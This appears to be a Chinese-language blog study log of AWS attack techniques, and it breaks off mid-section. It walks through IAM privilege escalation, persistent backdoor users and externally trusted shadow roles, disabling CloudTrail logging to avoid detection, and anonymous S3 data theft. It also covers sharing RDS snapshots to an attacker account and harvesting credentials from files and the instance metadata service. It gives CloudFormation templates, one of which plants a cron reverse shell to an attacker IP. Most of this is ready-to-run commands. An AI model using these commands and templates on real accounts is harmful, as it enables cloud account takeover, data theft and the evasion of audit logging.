创建一个具有iam:CreateAccessKey权限的用户就行,后面再删了。

这里就不细放了,总之创建一个用户,啥都没有就行,就给他一个名字,然后去内联策略。

就可以了。

接着创建一个密钥。

然后一直下一步就OK了。 接下来写入AWSCLI的配置当中。

1
aws configure

可以了,开始复现。

复现验证

1
2
aws iam create-access-key --user-name <target-user>
aws iam create-access-key --user-name test

仅此而已,如果还要加点什么的话,下面的两个命令可以确认你搜索的账户是否存在create-access-key权限。

1
2
aws iam list-attached-user-policies --user-name <target-user>
aws iam list-user-policies --user-name <target-user>

看到这些命令可能会有点好奇,这个命令后面<target-user>不是一个变量吗,是否能生成别人的密钥呢,答案是可以的。但是需要如下权限。

iam:CreateAccessKey + iam:UpdateUser

有这两个权限想指定谁就指定谁,甚至AWS允许 iam:UpdateUser,你甚至可以修改别人密码。

1
aws iam update-login-profile --user-name admin --password "NewSuperSecurePassword" --password-reset-required

可以试试管理员权限的账户能不能给我们刚刚生成的test账户重新生成一个密钥。

没有问题,管理员一如既往的强大。

补充部分

这里补充持久化,当你生成了一个key,肯定会被日志记录的,这里把他删了就能持久化了。当然这需要有 cloudtrail 权限。

  • AWS CloudTrail 记录 iam:CreateAccessKey 事件,建议在攻击后删除 CloudTrail 日志:
1
aws cloudtrail delete-trail --name default-trail
  • 关闭 CloudTrail(更隐蔽,但风险更高):
1
aws cloudtrail stop-logging --name default-trail
  • 创建多个 Access Key(一个用户最多可以有 2 个 Access Key):
1
aws iam create-access-key --user-name <target-user>
  • 创建隐藏用户(如果有 iam:CreateUser 权限):
1
2
aws iam create-user --user-name backdoor-user
aws iam create-access-key --user-name backdoor-user
  • 赋予新 Access Key 更高权限
1
aws iam attach-user-policy --user-name <target-user> --policy-arn arn:aws:iam::aws:policy/Admin

IAM 渗透补充

按照大纲来看四个主要部分已经学习完了,但其实还有一部分IAM权限的渗透,这里作为补充并不难,不需要搭建环境,上面四个如果掌握了,实际上下面这些记住命令就能理解原理。

iam:CreateUser(创建新 IAM 用户)

概念

  • 作用:允许创建新的 IAM 用户,可用于 持久化后门
  • 风险:攻击者可以创建一个新的管理员账户,即使管理员删除了其他凭据,攻击者仍然可以访问 AWS。

创建一个新的 IAM 用户

1
aws iam create-user --user-name backdoor-user

返回示例:

1
2
3
4
5
6
7
8
9
{
    "User": {
        "Path": "/",
        "UserName": "backdoor-user",
        "UserId": "AIDAEXAMPLE",
        "Arn": "arn:aws:iam::123456789012:user/backdoor-user",
        "CreateDate": "2025-03-06T12:34:56Z"
    }
}

(2) 给新用户创建 Access Key

1
aws iam create-access-key --user-name backdoor-user

返回:

1
2
3
4
5
6
7
8
9
{
    "AccessKey": {
        "UserName": "backdoor-user",
        "AccessKeyId": "AKIAEXAMPLE",
        "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
        "Status": "Active",
        "CreateDate": "2025-03-06T12:34:56Z"
    }
}

(3) 绑定高权限角色(如果 iam:PassRole也有权限)

1
aws iam attach-user-policy --user-name backdoor-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

(4) 使用新的 Access Key 登录 AWS

1
2
aws configure set aws_access_key_id AKIAEXAMPLE
aws configure set aws_secret_access_key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

然后测试权限:

1
aws sts get-caller-identity

如果返回:

1
2
3
4
5
{
    "UserId": "AIDAEXAMPLE",
    "Account": "123456789012",
    "Arn": "arn:aws:iam::123456789012:user/backdoor-user"
}

iam:AttachUserPolicy(给低权限用户绑定高权限策略)

概念

  • 作用:允许给现有的 IAM 用户 绑定新的权限策略,比如让一个低权限用户变成管理员。
  • 风险:攻击者可以找到一个已有的 IAM 用户,并偷偷给他绑定 AdministratorAccess,然后用这个账户执行高权限操作。

(1) 查看当前 AWS 账户的所有用户

1
aws iam list-users

返回示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
    "Users": [
        {
            "UserName": "developer",
            "Arn": "arn:aws:iam::123456789012:user/developer"
        },
        {
            "UserName": "test-user",
            "Arn": "arn:aws:iam::123456789012:user/test-user"
        }
    ]
}

(2) 给 developer绑定 AdministratorAccess

1
aws iam attach-user-policy --user-name developer --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

(3) 验证 developer是否获得了高权限

1
aws iam list-attached-user-policies --user-name developer

返回:

1
2
3
4
5
6
7
8
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}

现在 developer 已经是管理员了。

简单总结一下这两部分的权限:创建用户属于持久化,赋予权限属于提权的部分,仔细看可以看到两部分是有重复的,其实很好理解,重点讨论一下 iam:AttachUserPolicy ,如果存在这个权限是否能给任何角色任何用户提权呢,答案是要看具体配置,感兴趣可以去内联策略试试看,这里放一个非限制的策略(什么托管策略都能附上)和一个限制的策略(仅仅只能附限定的策略)

可滥用策略

1
2
3
4
5
6
7
8
{
    "Effect": "Allow",
    "Action": [
        "iam:CreateUser",
        "iam:AttachUserPolicy"
    ],
    "Resource": "*"
}

受限制策略

1
2
3
4
5
{
    "Effect": "Allow",
    "Action": "iam:AttachUserPolicy",
    "Resource": "arn:aws:iam::aws:policy/ReadOnlyAccess"
}

IAM 渗透总结后记

至此大部分的IAM渗透已经学习实操完了,在这一节中耗费了非常多的时间,虽然只有6个策略,但是这里涉及了很多架构原理,需要理解很久,而且并不单单一个策略的问题,需要对他们之间的交互有一个深刻的理解,总体来看还是挺有意思的,就是太复杂了,而复杂的原因是因为架构做的太好了,环环相扣。

存储服务(S3)攻击面

S3存储桶枚举

S3 存储桶的访问控制

在 AWS S3 中,存储桶的访问权限由 两种主要机制 控制:

  1. S3 存储桶策略 (Bucket Policy)
  • 决定哪些用户或账户可以访问存储桶 (s3:ListBuckets3:GetObject)。
  • 可能包含 "Principal": "*",导致存储桶对所有人开放。
  1. 访问控制列表 (ACL)
  • 旧版权限管理方式,允许特定 AWS 账户或匿名用户访问存储桶或对象。
  • READ 权限可以允许外部用户列目录 (ListBucket)。
  • WRITE 权限可以允许攻击者上传恶意文件。

📌 漏洞点

  • 存储桶策略错误:如果 Principal: *Action: "s3:ListBucket",攻击者可以列出所有文件。
  • ACL 误配置:如果 READ 权限对 Everyone 开放,攻击者可以读取文件。

S3 存储桶枚举方法

没有那么多的环境搭建,原理非常简单,就是它允许你没有验证就可以操控S3存储桶,至于能操控到什么地步,取决于他给的错误权限有哪些,看看实操就知道了。

这里有两种方法,工具探测手动验证

手动验证

(1) 测试存储桶是否可被列目录 (s3:ListBucket)

1
aws s3 ls s3://bucket-name --no-sign-request

解释:

  • --no-sign-request:用于匿名访问(不使用 AWS 凭据)。
  • 如果命令成功,说明存储桶允许 s3:ListBucket,你可以看到存储桶内的所有文件:
1
2
2024-03-06 12:00:00   450K secrets.txt
2024-03-06 12:01:00   2.3M backup.zip

(2) 测试是否可以下载文件 (s3:GetObject)

1
aws s3 cp s3://bucket-name/secrets.txt . --no-sign-request

解释:

  • 如果能成功下载,说明该存储桶允许匿名用户读取文件 (s3:GetObject)。

(3) 使用 curl测试 S3 存储桶是否开放

AWS S3 对象存储的 URL 格式通常如下:

1
https://bucket-name.s3.amazonaws.com/file.txt

你可以直接用 curl测试:

1
curl -I https://bucket-name.s3.amazonaws.com/secrets.txt

📌返回结果解析:

  • 200 OK:文件可以被匿名访问。
  • 403 Forbidden:需要身份验证,无法直接访问。
  • 404 Not Found:文件不存在,或者存储桶本身是私有的。
工具探测

(1) 使用 s3scanner进行存储桶扫描

s3scanner 是一个专门用于探测 S3 存储桶是否开放的工具。

1
2
3
git clone https://github.com/sa7mon/S3Scanner.git
cd S3Scanner
pip3 install -r requirements.txt

扫描某个存储桶是否公开

1
python3 s3scanner.py bucket-name

扫描多个存储桶

1
python3 s3scanner.py -l bucket-list.txt

常见结果解释

  • [+] Public Read:任何人都可以读取存储桶。
  • [+] Public Write:任何人都可以写入存储桶(可以上传文件)。
  • [+] Public List:任何人都可以列出存储桶中的文件。

(2) 使用 bucket-stream进行实时存储桶发现

bucket-stream 通过监听 公共日志流,实时发现可能的 AWS 存储桶名称。

1
2
3
git clone https://github.com/eth0izzle/bucket-stream.git
cd bucket-stream
python3 bucket-stream.py

这个工具的作用

  • 监听 AWS 访问日志,提取可能的存储桶名称。
  • 适用于 找到新的 AWS 资产(比如某公司有存储桶被暴露)。

存储桶策略绕过

这一节主要是对上一个枚举的补充,枚举只是告诉了可以干什么,这个是原理介绍。

存储桶策略错误:跨账户访问漏洞

S3 存储桶策略通常使用 "Principal" 字段来指定谁可以访问存储桶。如果 "Principal": "*",表示任何人都可以访问该存储桶,可能导致数据泄露。

错误策略示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": ["s3:ListBucket", "s3:GetObject"],
            "Resource": "arn:aws:s3:::vulnerable-bucket/*"
        }
    ]
}

任何人都可以读取存储桶数据! 由此引出了上一节的东西,为什么我们能列出下载上传文件到存储桶。

(1) 测试是否能列出存储桶内容

1
aws s3 ls s3://vulnerable-bucket --no-sign-request

如果返回文件列表,说明该存储桶的 s3:ListBucket权限错误开放!

(2) 测试是否可以下载文件

1
aws s3 cp s3://vulnerable-bucket/secrets.txt . --no-sign-request

如果能成功下载,说明 s3:GetObject权限错误开放!

(3) 测试是否可以上传文件

如果 s3:PutObject 也被开放,攻击者可以上传恶意文件:

1
2
echo "Malicious File" > malware.txt
aws s3 cp malware.txt s3://vulnerable-bucket/malware.txt --no-sign-request

如果能上传,说明该存储桶也开放了写入权限!

预签名 URL 劫持

AWS 允许创建 预签名 URL,它是一个临时授权 URL,可以让用户访问 S3 存储桶的对象,即使存储桶本身是私有的。

预签名 URL 示例

1
aws s3 presign s3://private-bucket/secret.txt
  • 这个命令会生成一个 URL,允许短时间内访问 secret.txt
  • 该 URL 可能会像这样:
1
https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credent

攻击方式

如果攻击者能获取到这个 预签名 URL(比如通过日志、浏览器控制台、代码泄露等),即使 S3 存储桶是私有的,攻击者也可以下载文件!

(1) 发现预签名 URL

  • 在 Web 应用前端代码中查找
  • 使用浏览器 F12 开发者工具,搜索 "s3.amazonaws.com"
  • 在日志文件中查找
1
grep -i "amazonaws.com" /var/log/*.log
  • 在 Git 代码中查找
1
git grep "s3.amazonaws.com"

(2) 测试是否能访问文件

1
curl -I "https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=..."
  • 如果返回 200 OK,说明预签名 URL 仍然有效,攻击者可以下载文件:
1
curl -o stolen-secret.txt "https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=..."

这两个利用的前提都是配置错误,需要攻击者将他们找出来,原理都比较简单很好理解。

数据泄露与持久化

S3 敏感文件下载

目标

  • 不仅仅是枚举存储桶,而是精准定位敏感文件(数据库备份、配置文件、日志等)。
  • 即使存储桶本身受限,某些文件 ACL 配置错误,也可以直接下载!

典型的敏感文件类型

  • backup.zip / db-dump.sql(数据库备份)
  • config.json / .env(API 密钥 & 配置文件)
  • access.log / debug.log(日志文件,可能包含 AWS 密钥)

测试能否下载某个已知敏感文件

1
aws s3 cp s3://target-bucket/backup.zip . --no-sign-request
  • 如果文件可下载 :说明 backup.zip 这个文件的 ACL 配置错误。
  • 如果返回 403 Forbidden :说明 s3:GetObject 被禁止。

使用 s3scanner自动扫描敏感文件

安装 s3scanner

1
2
3
git clone https://github.com/sa7mon/S3Scanner.git
cd S3Scanner
pip3 install -r requirements.txt

📌 使用 s3scanner扫描存储桶中的敏感文件

1
python3 s3scanner.py --bucket target-bucket --wordlist sensitive-files.txt

wordlist.txt 可能包含:

1
2
3
4
5
6
backup.zip
config.json
.env
db-dump.sql
access.log
error.log

爆破出200就说明可以被下载,和上一个虽然有点相似,但是逻辑不一样,其实就是爆破。

RDS 数据库快照窃取

利用 AWS RDS 误配置,创建数据库快照(Snapshot),并共享到攻击者账户,从而获取数据库数据。

Amazon RDS(Relational Database Service)支持 创建快照(Snapshot),用于备份和恢复数据库

  • RDS 快照可以被共享modify-db-snapshot-attribute),如果配置错误,攻击者可以窃取数据库数据。
  • 即使没有 RDS 直接访问权限,攻击者仍然可以通过 快照共享漏洞 窃取数据库。

1. 检查是否可以创建 RDS 快照

如果攻击者获得了某个 AWS 账户的访问权限,他可以尝试创建 RDS 快照:

1
aws rds create-db-snapshot --db-instance-identifier victim-db --db-snapshot-identifier stolen-snapshot

解释

  • --db-instance-identifier victim-db:目标 RDS 实例。
  • --db-snapshot-identifier stolen-snapshot:创建快照 stolen-snapshot

如果命令执行成功,说明: 当前身份有 rds:CreateDBSnapshot权限,可以创建快照。


2. 查看当前账户的 RDS 快照

如果攻击者无法创建快照,他可以尝试查找现有快照

1
aws rds describe-db-snapshots

示例返回:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
    "DBSnapshots": [
        {
            "DBSnapshotIdentifier": "prod-db-snapshot",
            "DBInstanceIdentifier": "victim-db",
            "Status": "available",
            "SnapshotCreateTime": "2024-03-06T12:00:00Z"
        }
    ]
}

如果发现快照存在,攻击者可以尝试共享它!


3. 共享快照到攻击者账户

如果快照策略错误,攻击者可以将其共享到自己的 AWS 账户

1
2
3
4
5
6
aws rds modify-db-snapshot-attribute \
    --db-snapshot-identifier prod-db-snapshot \
    --attribute-name restore \
    --values-to-add 攻击者AWS账户ID

aws rds modify-db-snapshot-attribute --db-snapshot-identifier prod-db-snapshot --attribute-name restore --values-to-add 攻击者AWS账户ID

解释

  • --db-snapshot-identifier prod-db-snapshot:要共享的快照。
  • --attribute-name restore:修改快照的 “restore” 属性,允许其他账户恢复该快照。
  • --values-to-add:添加攻击者的 AWS 账户 ID,使其可以访问该快照。

如果命令成功,攻击者就能在自己的 AWS 账户中访问该快照!


4. 在攻击者账户中恢复 RDS

攻击者登录自己的 AWS 账户,并恢复该快照:

1
2
3
aws rds restore-db-instance-from-db-snapshot \
    --db-instance-identifier stolen-db \
    --db-snapshot-identifier prod-db-snapshot

如果成功,攻击者现在拥有该数据库的完整副本!

5. 复制 RDS去除加密(较为复杂)

第四步不是可以在攻击者账户中恢复RDS吗,前提是这个快照没有加密才能直接恢复,如果加密了就没有办法移到攻击者账户了,并且复制的时候默认也是加密的,不能靠复制的时候给他的加密置空,但是我们可以新建一个KMS密钥然后在复制阶段的时候替换原先的加密,这样KMS密钥是可控的。

创建一个新的 KMS 密钥

如果你没有合适的 KMS 密钥,你需要手动创建一个新的:

1
aws kms create-key --description "My RDS Key"

然后获取 KeyId

1
aws kms list-keys

返回:

1
2
3
4
5
6
7
{
    "Keys": [
        {
            "KeyId": "abcd1234-5678-efgh-ijkl-9876543210mn"
        }
    ]
}
复制快照并使用新 KMS 密钥

需要使用新创建的 KMS 密钥来复制快照:

1
2
3
4
5
6
aws rds copy-db-snapshot \
    --source-db-snapshot-identifier database-1-snapshot \
    --target-db-snapshot-identifier new-snapshot \
    --kms-key-id abcd1234-5678-efgh-ijkl-9876543210mn

aws rds copy-db-snapshot --source-db-snapshot-identifier database-1-snapshot --target-db-snapshot-identifier new-snapshot --kms-key-id abcd1234-5678-efgh-ijkl-9876543210mn

这样,new-snapshot仍然是加密的,但它使用的是你可控的 KMS 密钥!

允许目标账户访问这个 KMS 密钥

需要允许目标 AWS 账户访问这个 KMS 密钥:

1
2
3
4
5
6
aws kms create-grant \
    --key-id abcd1234-5678-efgh-ijkl-9876543210mn \
    --grantee-principal arn:aws:iam::650*******:root \
    --operations Decrypt

aws kms create-grant --key-id abcd1234-5678-efgh-ijkl-9876543210mn --grantee-principal arn:aws:iam::650*******:root --operations Decrypt

这样,650 这个账户才能解密 new-snapshot

共享新快照
1
2
3
4
5
6
aws rds modify-db-snapshot-attribute \
    --db-snapshot-identifier new-snapshot \
    --attribute-name restore \
    --values-to-add 6502*******

aws rds modify-db-snapshot-attribute --db-snapshot-identifier new-snapshot1 --attribute-name restore --values-to-add 6502*******

最后一步有点复杂,尝试实操看看。如下

一般来说1-4就行了,第五步是在目标加密非常严格的情况下可以这样用,比较麻烦,一般1-4步已经能传递给攻击者了,不用多此一举,这也是为什么我放到了第五步,如果因为加密而无法共享的情况下可以加上第五步。

后门用户创建(隐蔽后门技术)

在 AWS 账户中创建一个隐蔽的后门用户,以便持久化访问,即使管理员发现异常登录后删除了常规 IAM 账户,攻击者仍然能够继续控制 AWS 账户。

后门用户创建操作

1. 创建一个隐蔽的 IAM 用户
1
aws iam create-user --user-name support-user

策略

  • 使用 AWS 官方命名风格(如 aws-support, backup-user),减少管理员注意。
  • 隐藏在已有用户列表中,避免被管理员察觉。

2. 为该用户创建访问密钥
1
aws iam create-access-key --user-name support-user

输出示例

1
2
3
4
5
6
7
8
{
    "AccessKey": {
        "UserName": "support-user",
        "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
        "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
        "Status": "Active"
    }
}

访问密钥可以用于 AWS CLI/API 调用,即使管理员删除了用户登录权限,仍然可以远程访问!


3. 赋予用户隐蔽的管理员权限

如果攻击者直接附加 AdministratorAccess,很容易被发现:

1
2
3
aws iam attach-user-policy \
    --user-name support-user \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

绕过检测的方法:使用内联策略!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
aws iam put-user-policy \
    --user-name support-user \
    --policy-name HiddenAdminPolicy \
    --policy-document '{
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Allow",
                "Action": "*",
                "Resource": "*"
            }
        ]
    }'

aws iam put-user-policy --user-name support-user --policy-name HiddenAdminPolicy --policy-document "{\"Version\": \"2012-10-17\",\"Statement\": [{\"Effect\": \"Allow\",\"Action\": \"*\",\"Resource\": \"*\"}]}"

隐藏管理权限(不直接附加 AdministratorAccess)

区别:

  • attach-user-policy 绑定的策略可以通过 list-attached-user-policies 直接查看,容易被发现:
1
aws iam list-attached-user-policies --user-name support-user
  • put-user-policy创建的是内联策略,默认不会显示在 list-attached-user-policies中!
1
aws iam list-user-policies --user-name support-user

只有深入检查 get-user-policy 才能发现:

1
aws iam get-user-policy --user-name support-user --policy-name HiddenAdminPolicy

这样,管理员即使运行 list-attached-user-policies,也看不到权限异常

4. 进一步隐藏用户

管理员通常会定期检查活跃 IAM 用户,攻击者可以使用 iam:UpdateLoginProfile 禁用用户的密码登录,使其变成一个“无害”的 API 账户(如果报错说明本来就没有登陆权限 不用禁用):

1
aws iam update-login-profile --user-name support-user --password-reset-required

效果

  • 这个用户 无法通过 AWS 控制台登录,但 仍然可以通过 API/CLI 使用访问密钥控制 AWS 账户!
  • 如果管理员只检查 Web 登录用户,他可能不会注意到这个“后门用户”仍然存在!

影子账户技术

上一个针对的是用户,这里针对的是IAM角色。

影子账户(Shadow User) 是一种 更隐蔽的后门技术,它的关键点在于:

  • 创建一个不会被 list-users查到的 IAM 用户
  • 利用 AWS 资源的信任关系,让攻击者可以以该账户的身份访问 AWS

影子账户创建思路

创建 IAM 角色,并允许某个外部账户访问它

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
aws iam create-role --role-name backup-support-role --assume-role-policy-document '{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "65025******"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}'

aws iam put-role-policy --role-name backup-support-role --policy-name ShadowUserMinimal --policy-document '{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "iam:CreateUser",
                "iam:CreateAccessKey",
                "iam:ListUsers",
                "iam:GetUser",
                "iam:ListAttachedUserPolicies",
                "iam:ListUserPolicies",
                "iam:GetUserPolicy",
                "iam:AttachUserPolicy",
                "iam:PutUserPolicy",
                "s3:ListAllMyBuckets",
                "s3:ListBucket",
                "s3:GetObject"
            ],
            "Resource": "*"
        }
    ]
}'

aws iam create-role --role-name backup-support-role --assume-role-policy-document "{\"Version\": \"2012-10-17\",\"Statement\": [{\"Effect\": \"Allow\",\"Principal\":{ \"AWS\": \"65025******\"},\"Action\": \"sts:AssumeRole\" }]}"
aws iam put-role-policy --role-name backup-support-role --policy-name ShadowUserMinimal --policy-document "{ \"Version\": \"2012-10-17\", \"Statement\": [ { \"Effect\": \"Allow\", \"Action\": [ \"iam:CreateUser\", \"iam:CreateAccessKey\", \"iam:ListUsers\", \"iam:GetUser\", \"iam:ListAttachedUserPolicies\", \"iam:ListUserPolicies\", \"iam:GetUserPolicy\", \"iam:AttachUserPolicy\", \"iam:PutUserPolicy\", \"s3:ListAllMyBuckets\", \"s3:ListBucket\", \"s3:GetObject\" ], \"Resource\": \"*\" } ] }"

效果

  • 65025账户可以随时通过 sts:AssumeRole访问这个角色,而且管理员不会在 list-users 里看到这个后门!
  • 管理员即使删除了攻击者创建的 IAM 用户,攻击者仍然可以使用 AssumeRole访问 AWS!

还是挺有意思的。

实际上就是创建一个高权限的IAM角色,然后信任外部的AWSID,这样外部的那个账户就可以随时随地的获得这个角色的凭据了。

高级攻击手法

AWS CLI 凭证泄露

目标:学习 AWS CLI 凭证的存储方式、常见的泄露途径,以及如何利用已泄露的 AWS 访问凭证来控制 AWS 账户。

AWS CLI 凭证存储位置

AWS CLI 的访问凭证默认存储在用户主目录的 ~/.aws/credentials~/.aws/config 文件中:

1
cat ~/.aws/credentials

Windows 路径

1
type C:\Users\你的用户名\.aws\credentials

示例内容

1
2
3
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

如果攻击者可以访问这个文件,就能完全控制 AWS 账户!


AWS CLI 凭证泄露的常见途径

1. 代码泄露

开发人员经常将 AWS 凭证硬编码到代码中:

1
2
3
4
5
6
import boto3

aws_access_key_id = "AKIAIOSFODNN7EXAMPLE"
aws_secret_access_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

s3 = boto3.client("s3", aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key)

如果代码上传到 GitHub 或其他代码仓库,攻击者可以通过 GitHub Dorking 发现 AWS 凭证!

1
github.com search: "aws_access_key_id filetype:env"

解决方案

  • 使用 AWS IAM 角色,不直接暴露 Access Key
  • 配置 GitHub 秘密扫描(Secret Scanning) 以检测 AWS 密钥泄露。

2. 日志泄露

AWS 密钥可能意外出现在日志文件中,例如:

1
cat /var/log/syslog | grep "aws_access_key_id"

防御措施

  • 禁止在日志中输出敏感信息。
  • 使用 AWS Secrets Manager 代替明文密钥。

3. 终端历史记录

如果开发人员在终端直接执行 AWS CLI 命令:

1
2
aws configure set aws_access_key_id AKIAIOSFODNN7EXAMPLE
aws configure set aws_secret_access_key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

攻击者可以从 history 获取 AWS 密钥:

1
history | grep aws

防御措施

  • 运行 history -c 清除历史记录。
  • 使用 export AWS_ACCESS_KEY_ID 代替 aws configure,避免凭证存入配置文件。

4. 环境变量泄露

某些服务器可能将 AWS 访问凭证存储在环境变量中:

1
2
echo $AWS_ACCESS_KEY_ID
echo $AWS_SECRET_ACCESS_KEY

如果攻击者能够访问服务器的 Shell,他可以轻松窃取 AWS 凭证!

防御措施

  • 使用 IAM 角色,而不是存储静态密钥。
  • 配置 AWS_SESSION_TOKEN 使凭证短期有效,减少长期泄露风险。

5. AWS 元数据服务(IMDS)攻击

在 EC2 服务器上,AWS 会将 IAM 角色的凭证存储在 IMDS(元数据服务)中:

1
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

攻击方法

  1. 在受害者 EC2 服务器上执行:
1
2
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
  1. 获取访问密钥:
1
2
3
4
5
{
    "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
    "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
    "Token": "FQoGZXIvYXdzEBIaDE5QTkFERV9TRVJWSUNFE..."
}

防御措施

  • 启用 IMDSv2,防止 SSRF 攻击:
1
aws ec2 modify-instance-metadata-options --instance-id i-xxxxxxxxxx --http-tokens required
  • 禁止无权限用户访问 169.254.169.254
1
iptables -A OUTPUT -d 169.254.169.254 -j DROP

AWS CLI 凭证泄露后利用

检查凭证是否有效

如果你获取了一个 AWS 访问密钥,第一步是检查它是否有效:

1
aws sts get-caller-identity --access-key AKIAIOSFODNN7EXAMPLE --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

如果凭证有效,返回类似信息:

1
2
3
4
5
{
    "UserId": "AIDAJQABLZS4A3QDU576Q",
    "Account": "650251703094",
    "Arn": "arn:aws:iam::650251703094:user/victim-user"
}

你现在知道这个 AWS 账户 ID 和用户名了!

获取 AWS 账户的权限
1
2
aws iam list-attached-user-policies --user-name victim-user
aws iam list-user-policies --user-name victim-user

如果有高权限策略,你可以执行管理员级操作!


提权到管理员

如果凭证权限受限,你可以尝试利用 iam:PassRole sts:AssumeRole

1
aws sts assume-role --role-arn arn:aws:iam::650251703094:role/AdminRole --role-session-name AdminSession

如果 sts:AssumeRole成功,你可以获得管理员权限!


持久化后门
1
2
3
aws iam create-user --user-name attacker-user
aws iam create-access-key --user-name attacker-user
aws iam attach-user-policy --user-name attacker-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

即使原始凭证被撤销,你仍然可以通过 attacker-user继续访问 AWS!

AWS CLI 凭证泄露总结

上面这些东西都是常见的,所以没有做太多解释,一般都能理解看懂,大部分是linux方面的基础,还有一部分都是之前学过的。

CloudFormation 恶意模板

这个在基础的时候没有学习过,刚好了解一下。

目标:利用 AWS CloudFormation 部署恶意模板,在受害者 AWS 账户中创建后门用户、修改现有 IAM 权限,甚至执行远程代码。

AWS CloudFormation 允许用户通过 YAML/JSON 模板xxxx自动创建和管理 AWS 资源,比如:

  • 创建 IAM 角色、S3 存储桶、EC2 实例等。
  • 自动配置 VPC、Lambda 函数、DynamoDB 等。

攻击者可以滥用 CloudFormation 部署恶意 AWS 资源,绕过传统权限检查!

这个东西危害很大,而且稍微有点复杂了,这里直接起一行解释一下,如果一个角色/用户拥有CloudFormation的全部权限,他就等于拥有了创建/修改 AWS 任何资源的权限,他能够掌控整个AWS环境,CloudFormation跟Lambda有点相似,仅仅是相似,都是通过上传一些东西来操控AWS资源,只不过CloudFormation上传的是模板,而且和Lambda不一样,Lambda是根据绑定角色的权限来确认能否调用AWS资源,而CloudFormation他的模板可以直接调用AWS资源包括EC2、Lambda、IAM、S3等等都是可以的,举个例子都知道调用IAM是可以创建用户/角色的,还可以赋权,但是相应的本身的权限也要高才行,这个就不用,你仅仅有CloudFormation它本身的权限就行了,就能创建一个管理员权限的IAM角色/用户,还能直接信任其他AWS账户,大概就是这样的一个逻辑。

下面针对其中几个服务构造模板,这里会用构造好了的就行,暂时先不学怎么写,后续跟Lambda一起学。

CloudFormation 恶意模板的攻击方式 ↓

1. 创建隐藏的 IAM 后门用户

攻击者可以利用 CloudFormation 创建一个隐蔽的 IAM 用户,并附加管理员权限:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
AWSTemplateFormatVersion: '2010-09-09'
Resources:
  BackdoorUser:
    Type: AWS::IAM::User
    Properties:
      UserName: "aws-support-bot"
  BackdoorAccessKey:
    Type: AWS::IAM::AccessKey
    Properties:
      UserName: !Ref BackdoorUser
  BackdoorPolicy:
    Type: AWS::IAM::Policy
    Properties:
      PolicyName: "HiddenAdminPolicy"
      Users:
        - !Ref BackdoorUser
      PolicyDocument:
        Version: '2012-10-17'
        Statement:
          - Effect: Allow
            Action: "*"
            Resource: "*"

Outputs:
  AccessKey:
    Value: !Ref BackdoorAccessKey
    Description: "IAM Access Key"
  SecretKey:
    Value: !GetAtt BackdoorAccessKey.SecretAccessKey
    Description: "IAM Secret Key"

执行方式

1
aws cloudformation create-stack --stack-name BackdoorStack --template-body file://backdoor.yaml --capabilities CAPABILITY_NAMED_IAM

效果

  • 创建 aws-support-bot用户(看起来像 AWS 官方服务用户)。
  • 分配访问密钥,攻击者可直接使用 aws_access_key_id登录 AWS CLI。
  • 绑定管理员策略 *:*,拥有最高权限!

那么问题来了,密钥呢?其实在上面的代码里面写好了,会存到Output中,刚好解决了没有回显而无法获得密钥的问题。

这一个例子就足够获得所有权限了,第三个模板IAM角色也能拿到所有权限,主要说一下下面的那条,就是第二条。


2. 在 EC2 UserData 里注入反向 Shell

攻击者可以利用 CloudFormation 在 EC2 实例启动时执行恶意命令,比如 通过 UserData字段获取反向 Shell:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
AWSTemplateFormatVersion: '2010-09-09'
Resources:
  MaliciousEC2:
    Type: AWS::EC2::Instance
    Properties:
      ImageId: "ami-12345678"
      InstanceType: "t2.micro"
      UserData:
        Fn::Base64: |
          #!/bin/bash
          echo "*/2 * * * * root bash -i >& /dev/tcp/攻击者IP/端口 0>&1" >> /etc/crontab
          systemctl restart cron

执行方式

1
aws cloudformation create-stack --stack-name EC2Backdoor --template-body file://malicious-ec2.yaml

效果

